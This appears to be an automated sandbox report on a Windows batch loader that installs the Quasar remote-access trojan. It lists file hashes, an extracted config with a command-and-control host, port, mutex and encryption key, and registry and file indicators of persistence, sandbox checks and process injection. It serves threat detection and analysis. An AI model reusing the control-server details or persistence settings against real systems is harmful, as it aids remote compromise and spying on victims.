quasar | 3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

Analysis

max time kernel
300s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28-05-2024 15:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Queen Loader.bat
Size

1002KB
MD5

f6d5bfaee8a55ff72c7b453fda066d62
SHA1

7d737d53013990e5d05076b7206e43eb4793fc7f
SHA256

3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512

e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
SSDEEP

12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Score

10^/10

quasar video execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes

encryption_key
zK8u0rpHf4TJzGf65Flt
install_name
Win11.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Windows 11 Boot
subdirectory
Win11

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3556-23-0x0000000008AD0000-0x0000000008BC2000-memory.dmp	family_quasar
behavioral2/memory/1108-79-0x0000000007180000-0x0000000007272000-memory.dmp	family_quasar
behavioral2/memory/1108-84-0x0000000008680000-0x00000000086EC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\New.exe	family_quasar
behavioral2/memory/1872-103-0x0000000000030000-0x000000000009C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3672 created 616 3672 powershell.EXE winlogon.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

21 1108 powershell.exe
23 1108 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3556 powershell.exe
2704 powershell.exe
1108 powershell.exe

description	pid	process	target process
PID 3672 created 616	3672	powershell.EXE	winlogon.exe

flow	pid	process
21	1108	powershell.exe
23	1108	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

WaaSMedicAgent.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

Processes:

Install.exeNew.exe

pid process

1576 Install.exe
1872 New.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

19 ip-api.com

pid	process
1576	Install.exe
1872	New.exe

flow	ioc
19	ip-api.com

Drops file in System32 directory 19 IoCs

Processes:

svchost.exesvchost.exepowershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3672 set thread context of 1772 3672 powershell.EXE dllhost.exe

description	pid	process	target process
PID 3672 set thread context of 1772	3672	powershell.EXE	dllhost.exe

Drops file in Windows directory 3 IoCs

Processes:

TrustedInstaller.exesvchost.exe

description	ioc	process
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exemousocoreworker.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

744 SCHTASKS.exe

pid	process
744	SCHTASKS.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exewmiprvse.exemousocoreworker.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEOfficeClickToRun.exemousocoreworker.exesvchost.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018400E3F6D865D = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000bafa4e1cec2ead41a6ab3c1b458ef40200000000020000000000106600000001000020000000b2d2094b383e05d6be8be98e77a448b2226b60056c9bc11ae7d1e5ebe32b81de000000000e80000000020000200000001ad9d7c4dad243b028abe674aca54e5a46a634fe9db87ea747bf6762e6545a088000000080216fcf0c42228ac0cb3368f0d7c455b3049d3edfa1287ac9ea52e5429a2f84ed1e3046d16547c094e3764f2283b11ea5cce779b26ed8d630c99aa756f143b5b6f0a3c5a501773a1c0ca11fdb5b5b79ba15a577203ead64fa6dce30b28c2ecd8d1fba5aa89fd9b346d7e1b96827b1ff4e04400a6856215aa87b148752db88e6400000008213a25714f4b8cfef3d174fa721850c08b7e4640d5c5dd4dd203aec644e06c101582e193e43657fdc3761fd3eb317506369ad884d42d403ba9a0b4d3ff70e49	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018400E3F6D865D"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400E3F6D865D"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000bafa4e1cec2ead41a6ab3c1b458ef402000000000200000000001066000000010000200000008b4bb4b587bfbadff9f1fac0fbd11716b08dd897eb75883607bf32350efaabbd000000000e800000000200002000000022f9f930400d9c248c771e5bb8de9907a9718c933aaa062f2e20b231b05f4232b0030000e71468f0f05fe376acd26bbf068f638801457566ec8babbf6fad961a5836159d443be16607298fbaa25b6d57f33dfa4f45f8d522d7515f7d8e841a728612cb92cec0892cbe9d93261a294a98914e8c8f2d9fc88bdbefb0e5768ece11a4b6b92621f88e4d72109a774512b5cc75b22ef3ddd7544f62772177ac1a4d1f680908fdc11bab255602a9282702b5f0eecc53d4a4cee509d9b25e5226dd1d8f100b5620f55e6d57ba32d036a630bc8e0c22a08ea9098e205c95e98fb3a2cea6f8b95d5f0c64f17e06b92fee0581a21305f3912e451c53b0bb5f0fc73d2d3eb42cabd66771040eb8c3421ea4adef1079a220666c0143393df8ff9f705859414362acaef813a4b87696e0fe070167c12f31a80cb403d51e5fd3c705cfd51f038543aa0263ec91beddef5f42419df1db849f378882699f6adf82d40fa6b561c6643d31d3fbee52568e3f0dc20aff7898f4ab8a60d58ee86b118b7193b64e5f2ea5c13c10907a8c9e19eaa804448176c02da6af4ed2887be78b678137c4449c5b37e7ff41c9063bdabc2158405481dde6a8f6c24908f264c55694c128776b83722cda219997ec21aead1f9ddcda78899cbfa1fceec153bd6f3d6b357de550c6fb5948ca71bf85d65ddf63409e79c854c581a86fe6fcd56112667961118135a984ebb78058a54f94a50aa664e32543528e60d78030986d09b7ad0145043a3bd0f2404437a0964d6765a79820681781847cae0d09029f91768abd30daa4285c405fa326308b72e73d60daf58fc9d61a14e529cbc374568e1226ff77d8fd6b136e59adef462c370b390837f8224290eb1e5ed230beebed1cfd172fc9c5b5f96c2ae591200653abc479f56b82cbafeb8ec997b322c6c785e28c1627ae760c9025aee96981f51a4645e87dd9c570c77d456b8b7f9cc7df67f93d9cb8acfca48657cde009775ee460b6857b21a9ea135df4690903b9fdada580e21ab6a52d33e4aab8e89640fa1efbb0888b74daecff9e36d7dffc7e8fb0c649bdbc55a487e205b530307aed810af533511477422bb94cd439d0df208743a0fb2303411dc9b5fe0121f4a40717c029d942917e32f5aa6a5d57be30ceb35b22be95a5f5b80823682cda86dfacd3d2caf19350bd155b14e8e2e41890c229a8541b8b2d4044b9012e2e1f475bc672d1ac3ce94a85a4aa4c9260a7561d21811ca3043d1846ca93b3060c030ae744528798a8fa73e87c97ee26d7418ce0c419a8ed86f70557c0e32bff79b9704f45fbbf070d0d6bc24937e3642bfb14e5a8e81d2bfe3d4830d108e600b69725d735604f3f4502b337c49fc3b98f9436278c5b6e6740000000a431b5d616f4384111fa64c6e8bc5e0c5384d10b5e28ff671253665bd2195bd7040423ee3fc585561c6ed4a4dff1c130d0578b6c112b56eaab943389539f20ea	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE

Modifies registry class 59 IoCs

Processes:

RuntimeBroker.exeRuntimeBroker.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606 = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\6c2e94ca6e5e1623f26b6ed0943f5fd3da7d5aa44703003f51decf8a377497ab"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e847193d-5d9f-46f4 = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000f9b8811513b1da01f9b8811513b1da01f9b8811513b1da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000bc58057b2000363163653138323735346362303533373832643339636338393031323863626164613834616436633736343063366261306335343131363564363430376135340000b20009000400efbebc58057bbc58057b2e000000000000000000000000000000000000000000000000000790f100360031006300650031003800320037003500340063006200300035003300370038003200640033003900630063003800390030003100320038006300620061006400610038003400610064003600630037003600340030006300360062006100300063003500340031003100360035006400360034003000370061003500340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000310225cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36316365313832373534636230353337383264333963633839303132386362616461383461643663373634306336626130633534313136356436343037613534000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7ce036ae6c2f0def1192f1d6aa8b0874bda40a9b40716b2445984d9ed1edd3eb7ce036ae6c2f0def1192f1d6aa8b0874bdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1 = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e847193d-5d9f-46f4 = cfe8c45113b1da01	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e847193d-5d9f-46f4 = "8324"	RuntimeBroker.exe
